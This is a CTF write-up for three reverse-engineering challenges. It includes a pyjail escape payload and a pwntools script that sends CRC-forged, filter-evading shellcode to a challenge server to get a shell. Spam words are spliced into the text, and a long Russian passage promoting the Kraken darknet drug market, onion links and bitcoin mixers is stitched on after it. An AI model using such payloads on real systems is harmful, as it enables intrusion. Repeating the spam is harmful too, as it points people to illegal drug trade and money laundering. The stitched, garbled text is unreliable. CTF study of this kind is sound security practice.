Kraken18 at

This is my write-up for recent hack you spb CTF - a CTF for newbies. I маркет guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i кракен need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
Kraken18 at - Кракен продает наркотики
На бирже есть четыре режима торгов: Простой режим оформления заявки, где указывается цена покупки и доступны только два типа ордеров (лимитный и по рынку). Хотя к твоим услугам всегда всевозможные словари и онлайн-переводчики. Все города РФ и СНГ открываются перед вами как. Ассортимент очень широкий и товар высококачественный. Onion - Torrents-NN, торрент-трекер, требует регистрацию. Проект Лента. Жека 3 дня назад Работает! И можно сказать, что это отчасти так и есть, ведь туда попасть не так уж и просто. В случае если вы продавец, то за вами закрепляют личного модератора, который будет помогать с обустройством вашего шопа и подскажет в случае возникших трудностей. Именно кракен на форуме Wayaway собрались все те, кто в последующем перешли на маркет из-за его удобства, а общение как было так и осталось на форуме. Магазин kraken в tor, ссылка на kraken. Такой сбой тоже возможен, но паниковать не стоит. На сайте in krmp cc каждый может спокойно, не выходя из дома выбирать продукцию различного назначения и не волноваться о встрече с правоохранительными органами. Для начала нужно скачать защищенный браузер TOR. Freenet это отдельная самостоятельная сеть внутри интернета, которая не может быть использована для посещения общедоступных сайтов. Это используется не только для Меге. Самой надёжной связкой является использование VPN и Тор. Есть простой, но эффективный способ определить правильную ссылку на кракен: у официального магазина домен бывает только onion и com. Onion Browser не является браузером в привычном понимании. Причина в том, что поскольку вся продукция на темном рынке под запретом у правоохранительных органов, то вход на платформу постоянно блокируется. Наркотические запрещенные вещества, сбыт и их продажа. Для более релевантной системы входа основные пользователи рекомендуют использовать при регистрации только данные введенные впервые. Огромное количествоответственных торговцев направляют свою продукцию по всейтерритории страны. Сайты даркнета расположены в псевдодоменной зоне. Три месяца назад основные магазины с биржи начали выкладывать информацию, что их жабберы угоняют, но самом деле это полный бред. Возможно вам будет интересно: Как отключить обновления Windows.

Изредка по отношению к некоторым вещам это желание вполне оправдано и справедливо, однако чаще всего - нет. Клёво12 Плохо Рейтинг.68 49 Голоса (ов) Рейтинг: 5 / 5 Данная тема заблокирована по претензии (жалобе) от третих лиц хостинг провайдеру. Вся информация представленна в ознакомительных целях и пропагандой не является. Для того чтобы войти на рынок ОМГ ОМГ есть несколько способов. Onion - Privacy Tools,.onion-зеркало сайта. Низкие цены, удобный поиск, широкая география полетов по всему миру. Второй это всеми любимый, но уже устаревший как способ оплаты непосредственно товара qiwi. Как только соединение произошло. Mixermikevpntu2o.onion - MixerMoney bitcoin миксер.0, получите чистые монеты с бирж Китая, ЕС, США. Onion - SleepWalker, автоматическая продажа различных виртуальных товаров, обменник (сомнительный ресурс, хотя кто знает). Org,.onion зеркало торрент-трекера, скачивание без регистрации, самый лучший трекер, заблокированный в России на вечно ). Каталог голосовых и чатботов, AI- и ML-сервисов, платформ для создания, инструментов.возврата средств /фальш/ дейтинг и все что запрещено Законами Украины. Вот и я вам советую после совершения удачной покупки, не забыть о том, чтобы оставить приятный отзыв, Мега не останется в долгу! Это используется не только для Меге. Onion - Bitcoin Blender очередной биткоин-миксер, который перетасует ваши битки и никто не узнает, кто же отправил их вам. Для нормального распределения веса страниц на сайте не допускайте большого количества этих ссылок. График показывает динамику роста внешних ссылок на этот сайт по дням. Список ссылок обновляется раз в 24 часа. Onion - крупнейшая на сегодня торговая площадка в русскоязычном сегменте сети Tor. Если вы часто посещаете один или несколько онион площадок, но загружать на компьютер Тор не хотите, то установите специальное расширение. В сети существует два ресурса схожих по своей тематике с Гидрой, которые на данный момент заменили. А вариант с пропуском сайта через переводчик Google оказался неэффективным. Т.е. Имеется возможность прикрепления файлов до. Ротации на рынке наркоторговли в даркнете, начавшиеся после закрытия в апреле крупнейшего маркетплейса, спровоцировали число мошенничеств на форумах, а также. Не можете войти на сайт мега? Форумы. Разработанный метод дает возможность заходить на Mega официальный сайт, не используя браузер Tor или VPN. По его словам, при неудачном стечении обстоятельств можно попасть под удар как в России, так и на Западе. В интерфейсе реализованны базовые функции для продажи и покупки продукции разного рода. Для начала скажем, что все запрещенные сайты даркнета стоят на специальных онионах. Onion - torlinks, модерируемый каталог.onion-ссылок. ОМГ официальный Не будем ходить вокруг, да около. Чтобы любой желающий мог зайти на сайт Мега, разработчиками был создан сайт, выполняющий роль шлюза безопасности и обеспечивающий полную анонимность соединения с сервером. Таких людей никто не любит, руки бы им пообломать. О готовности заменить (или подменить) «Гидру» заявили семь-восемь серьезных площадок. Встроенный в Opera сервис VPN (нажмите). Поисковики Tor. Mmm fdfdfdfd Ученик (100) 2 недели назад ссылки сверху фишинг НЕ вздумайте заходить! Только так получится добиться высокого уровня анономизации новых пользователей. 3 Как войти на Mega через iOS. Меня тут нейросеть по фоткам нарисовала.